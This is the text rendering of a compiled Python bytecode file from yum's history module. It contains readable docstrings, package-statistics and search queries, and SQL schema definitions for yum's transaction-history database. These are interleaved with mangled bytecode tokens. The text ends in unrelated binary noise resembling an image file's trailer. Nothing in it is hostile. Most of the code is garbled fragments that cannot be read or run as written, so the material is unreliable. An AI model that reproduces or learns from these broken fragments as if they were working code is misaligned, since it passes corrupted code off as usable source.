cCshdd6dd6dd6dd6dd6dd6}|i}|djp|iotSddddddf}xM|D]E\}}}t|d||fx|D]}|d||<qWq{W|S(s& Some stats about packages in the DB. itnevractnevratnevrtnatrpmdbR'sCOUNT(*)tpkgtupssCOUNT(DISTINCT(name || arch))s4COUNT(DISTINCT(name||version||epoch||release||arch))s.COUNT(DISTINCT(name||version||epoch||release))sCOUNT(DISTINCT(pkgtupid))t	pkg_rpmdbt	pkg_yumdbsSELECT %s FROM %sN(RsCOUNT(*)R(RsCOUNT(DISTINCT(name || arch))R(Rs4COUNT(DISTINCT(name||version||epoch||release||arch))R(Rs.COUNT(DISTINCT(name||version||epoch||release))R(RsCOUNT(DISTINCT(pkgtupid))R(syumdbsCOUNT(DISTINCT(pkgtupid))R(RRRxRR(R3RRRSRtbsqltesqlR((s//usr/lib/python2.6/site-packages/yum/history.pyt
_pkg_statsUs0

	ccs|i}t}g}g}xk|D]c\}}	xT|D]L}
|o|id|
|	fn|id|
|	f|i|q8Wq%W|di|7}t|||x|D]}|VqWdS(s2Yields all the package data for the given params. s%s LIKE ?%ss%s %s ?s OR N(Rt_FULL_PARSE_QUERY_BEGR'RkR(R3R(R*R)Rtqsqltpat_sqlstpat_datatpatterntresttfieldRK((s//usr/lib/python2.6/site-packages/yum/history.pyt_yieldSQLDataListrs"c
Cs5|i}|d
jotSg}|D](}|tidd|iddq,~}t||}|\}}}	}
g}t}|o5x|i||	|D]}
|i|
dqWnt	}|p
t
}nxotii
||D]X}t||}|\}}}	}
x.|i||	|D]}
|i|
dq3WqWd}|ddidgt|7}t|}t}t|tii
joIt|d	x4|D],}
|
d|jo|i|
dqqW|S|p|St|||x|D]}
|i|
dqW|S(s{ Search for history transactions which contain specified
            packages al. la. "yum list". Returns transaction ids. s	\[[^]]+\]Rit[t!is2SELECT tid FROM trans_data_pkgs WHERE pkgtupid IN s(%s)t,sSELECT tid FROM trans_data_pkgsN(RRRStretsubRWR0RRR#R$RR t
seq_max_splitRkR%RRjR(R3R(R)RReRKRSR+t	npatternsR*tnamesRt	pkgtupidsRR-tnpsRoRpRl((s//usr/lib/python2.6/site-packages/yum/history.pytsearchsR

5	
$	
s CREATE TABLE pkg_rpmdb (
     pkgtupid INTEGER NOT NULL REFERENCES pkgtups,
     rpmdb_key TEXT NOT NULL,
     rpmdb_val TEXT NOT NULL);
sA CREATE INDEX i_pkgkey_rpmdb ON pkg_rpmdb (pkgtupid, rpmdb_key);
s CREATE TABLE pkg_yumdb (
     pkgtupid INTEGER NOT NULL REFERENCES pkgtups,
     yumdb_key TEXT NOT NULL,
     yumdb_val TEXT NOT NULL);
sA CREATE INDEX i_pkgkey_yumdb ON pkg_yumdb (pkgtupid, yumdb_key);
cCs|iptSt|do|iS|i}|djotSt|dx:|D]}Pq\Wx|iD]}|i|qqW|i	t
|_t
S(s3 Update to version 3 of history, rpmdb/yumdb data. t_cached_updated_3sPRAGMA table_info(pkg_yumdb)N(R:RR<RRRRt
_update_ops_3texecuteRR"(R3Rtobtop((s//usr/lib/python2.6/site-packages/yum/history.pyRxs"




	s CREATE TABLE trans_skip_pkgs (
     tid INTEGER NOT NULL REFERENCES trans_beg,
     pkgtupid INTEGER NOT NULL REFERENCES pkgtups);
sk CREATE TABLE trans_cmdline (
     tid INTEGER NOT NULL REFERENCES trans_beg,
     cmdline TEXT NOT NULL);
s CREATE TABLE trans_rpmdb_problems (
     rpid INTEGER PRIMARY KEY,
     tid INTEGER NOT NULL REFERENCES trans_beg,
     problem TEXT NOT NULL, msg TEXT NOT NULL);
s CREATE TABLE trans_prob_pkgs (
     rpid INTEGER NOT NULL REFERENCES trans_rpmdb_problems,
     pkgtupid INTEGER NOT NULL REFERENCES pkgtups,
     main BOOL NOT NULL DEFAULT FALSE);
s' CREATE VIEW vtrans_data_pkgs AS
     SELECT tid,name,epoch,version,release,arch,pkgtupid,
            state,done,
            name || '-' || epoch || ':' ||
            version || '-' || release || '.' || arch AS nevra
     FROM trans_data_pkgs JOIN pkgtups USING(pkgtupid)
     ORDER BY name;
s CREATE VIEW vtrans_with_pkgs AS
     SELECT tid,name,epoch,version,release,arch,pkgtupid,
            name || '-' || epoch || ':' ||
            version || '-' || release || '.' || arch AS nevra
     FROM trans_with_pkgs JOIN pkgtups USING(pkgtupid)
     ORDER BY name;
s CREATE VIEW vtrans_skip_pkgs AS
     SELECT tid,name,epoch,version,release,arch,pkgtupid,
            name || '-' || epoch || ':' ||
            version || '-' || release || '.' || arch AS nevra
     FROM trans_skip_pkgs JOIN pkgtups USING(pkgtupid)
     ORDER BY name;
s CREATE VIEW vtrans_prob_pkgs2 AS
     SELECT tid,rpid,name,epoch,version,release,arch,pkgtups.pkgtupid,
            main,problem,msg,
            name || '-' || epoch || ':' ||
            version || '-' || release || '.' || arch AS nevra
     FROM (SELECT * FROM trans_prob_pkgs,trans_rpmdb_problems WHERE
           trans_prob_pkgs.rpid=trans_rpmdb_problems.rpid)
           JOIN pkgtups USING(pkgtupid)
     ORDER BY name;
cCs|iiptSt|do|iS|i}|djotSt|dx:|D]}Pq\Wx|iD]}|i	|qqW|i
t|_tS(s; Update to version 2 of history, includes trans_skip_pkgs. t_cached_updated_2s"PRAGMA table_info(trans_skip_pkgs)N(RRRR<RRRRt
_update_ops_2RRR"(R3RRR((s//usr/lib/python2.6/site-packages/yum/history.pyR:*s"




	cCstid|_d|iid|idf}|i|joKti||dtii	|doti|d|dqn||_|ii
ptStii	|ip,ti|iti
d}ti|n|i}d	d
ddd
dddg}x|D]}|i|qWx|iD]}|i|q;Wx|iD]}|i|q\W|itS(s6 Create a new history DB file, populating tables etc. s%Y-%m-%ds%s/%s-%s.%sR`Rs.olds-journals-journal.oldis CREATE TABLE trans_beg (
     tid INTEGER PRIMARY KEY,
     timestamp INTEGER NOT NULL, rpmdb_version TEXT NOT NULL,
     loginuid INTEGER);
s CREATE TABLE trans_end (
     tid INTEGER PRIMARY KEY REFERENCES trans_beg,
     timestamp INTEGER NOT NULL, rpmdb_version TEXT NOT NULL,
     return_code INTEGER NOT NULL);
s CREATE TABLE trans_with_pkgs (
     tid INTEGER NOT NULL REFERENCES trans_beg,
     pkgtupid INTEGER NOT NULL REFERENCES pkgtups);
s CREATE TABLE trans_error (
     mid INTEGER PRIMARY KEY,
     tid INTEGER NOT NULL REFERENCES trans_beg,
     msg TEXT NOT NULL);
s CREATE TABLE trans_script_stdout (
     lid INTEGER PRIMARY KEY,
     tid INTEGER NOT NULL REFERENCES trans_beg,
     line TEXT NOT NULL);
s CREATE TABLE trans_data_pkgs (
     tid INTEGER NOT NULL REFERENCES trans_beg,
     pkgtupid INTEGER NOT NULL REFERENCES pkgtups,
     done BOOL NOT NULL DEFAULT FALSE, state TEXT NOT NULL);
s CREATE TABLE pkgtups (
     pkgtupid INTEGER PRIMARY KEY,     name TEXT NOT NULL, arch TEXT NOT NULL,
     epoch TEXT NOT NULL, version TEXT NOT NULL, release TEXT NOT NULL,
     checksum TEXT);
sO CREATE INDEX i_pkgtup_naevr ON pkgtups (name, arch, epoch, version, release);
(RItstrftimeRRRRRtrenameRRRRRXtO_CREATRRRRRRR"(R3RR_RtopsR((s//usr/lib/python2.6/site-packages/yum/history.pyRBsF
 	
	


N(<RPRQRRt_history_dirRR5R
RRRRR"R R$R(RR)R+RR6R9R;R=R?RGRHRORQRURRRpR`RhRRRRRRRuRvRyRmRDR{R|R}RRRRRRRRRxRR:R(((s//usr/lib/python2.6/site-packages/yum/history.pyRs<					!		
				*	!					)	
					
Q											
		@					s
SELECT pkgtupid,name,epoch,version,release,arch,
  name || "." || arch AS sql_nameArch,
  name || "-" || version || "-" || release || "." || arch AS sql_nameVerRelArch,
  name || "-" || version AS sql_nameVer,
  name || "-" || version || "-" || release AS sql_nameVerRel,
  epoch || ":" || name || "-" || version || "-" || release || "." || arch AS sql_envra,
  name || "-" || epoch || ":" || version || "-" || release || "." || arch AS sql_nevra
  FROM pkgtups
  WHERE 
(-RIRtos.pathRRRzRtsqlutilsRRRtyum.miscR t
yum.constantsRtyum.packagesRRRtyum.i18nRR	t
rpmUtils.archR
Rt	TS_UPDATEt
TS_UPDATEDR1R-R.tTS_OBSOLETEDt
TS_OBSOLETINGR3RRRR0R1RTRvRyRRRR(((s//usr/lib/python2.6/site-packages/yum/history.pyt<module>sX




'0D	S?
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`